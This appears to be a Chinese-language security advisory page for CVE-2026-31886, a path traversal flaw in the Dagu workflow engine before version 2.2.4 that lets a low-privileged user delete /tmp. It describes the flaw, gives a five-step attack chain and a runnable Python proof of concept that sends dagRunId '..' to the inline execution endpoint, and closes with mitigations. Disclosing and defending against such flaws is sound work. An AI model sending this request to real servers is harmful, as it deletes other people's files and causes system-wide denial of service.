IPBUF安全漏洞报告
English
CVE-2026-31886 CVSS 9.1 严重

CVE-2026-31886 Dagu工作流引擎路径遍历导致任意文件删除漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-31886
漏洞类型
路径遍历/任意文件删除
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dagu

相关标签

CVE-2026-31886路径遍历任意文件删除Dagu工作流引擎拒绝服务Go语言filepath.Join临时文件删除CRITICAL

漏洞概述

Dagu是一款内置Web用户界面的工作流引擎。在2.2.4之前的版本中,内联DAG执行端点接受的dagRunId请求字段被直接传递给filepath.Join来构造临时目录路径,但未进行任何格式验证。Go语言的filepath.Join会按字面方式解析".."路径段,因此攻击者可以通过提供类似".."的值来重定向计算出的目录,使其超出预期的/tmp/<name>/<id>路径范围。一个延迟清理函数会调用os.RemoveAll对该目录进行无条件删除,从而删除路径遍历解析后的任意目录。当dagRunId设置为".."时,解析的目录是系统临时目录(Linux上的/tmp)。在非root部署中,os.RemoveAll("/tmp")会删除dagu进程用户拥有的/tmp中的所有文件,破坏所有在/tmp中有活动临时文件的并发dagu运行。在root或Docker部署中,该调用会删除/tmp的全部内容,导致系统范围的拒绝服务。此漏洞已在2.2.4版本中修复。

技术细节

漏洞根源在于Dagu工作流引擎的inline DAG执行端点对dagRunId参数缺乏输入验证。当用户发起DAG执行请求时,后端代码将dagRunId直接传入Go标准库的filepath.Join函数来构建临时目录路径。filepath.Join在处理路径时会对".."进行字面解析而不会进行安全检查,这允许攻击者构造恶意请求使目录路径跳出预期的沙箱范围。具体攻击场景:攻击者构造dagRunId为".."的请求,filepath.Join("/tmp/dagu", "..")会解析为"/tmp",随后HTTP处理器返回时,延迟清理函数会执行os.RemoveAll("/tmp"),导致整个/tmp目录被清空。在容器化部署中,这可能导致整个系统临时存储被删除,引发连锁反应式的拒绝服务攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统运行的是Dagu工作流引擎,并确定其版本低于2.2.4
STEP 2
步骤2: 构造恶意请求
攻击者向Dagu的inline DAG执行端点/api/v1/executions/inline/<dag_id>发送POST请求,将dagRunId参数设置为".."路径遍历载荷
STEP 3
步骤3: 路径解析绕过
服务端代码将dagRunId=".."直接传入filepath.Join,与基础路径拼接后解析为系统临时目录/tmp
STEP 4
步骤4: 触发清理函数
HTTP请求处理完成后,延迟清理函数defer os.RemoveAll()被触发,对解析后的目录(/tmp)执行删除操作
STEP 5
步骤5: 造成破坏
在root或Docker环境中,/tmp目录全部内容被删除,导致系统范围DoS;在非root环境中,dagu用户拥有的所有临时文件被删除,影响所有并发工作流运行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-31886 PoC - Path Traversal leading to Arbitrary File Deletion # Target: Dagu workflow engine < 2.2.4 def exploit(target_url, dag_id, dag_run_id=".."): """ Exploit the path traversal vulnerability in Dagu's inline DAG execution endpoint. By setting dagRunId to "..", the temporary directory cleanup will delete /tmp """ endpoint = f"{target_url}/api/v1/executions/inline/{dag_id}" payload = { "dagRunId": dag_run_id, # Path traversal payload "params": {} } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending malicious dagRunId: {dag_run_id}") try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code == 200: print("[!] Request sent successfully. /tmp directory may be deleted.") else: print("[-] Request failed or vulnerability may be patched.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <dag_id>") print(f"Example: python {sys.argv[0]} http://localhost:8080 test-dag") sys.exit(1) target = sys.argv[1] dag_id = sys.argv[2] exploit(target, dag_id)

影响范围

Dagu < 2.2.4

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制Dagu API端点的网络访问,仅允许受信任的IP地址访问;2) 在Web应用防火墙(WAF)层面添加规则,过滤dagRunId参数中的".."、"../"等路径遍历模式;3) 为Dagu服务配置最小权限用户运行,避免使用root权限;4) 监控/tmp目录的异常删除行为;5) 考虑使用AppArmor或SELinux等强制访问控制工具限制Dagu进程的目录访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表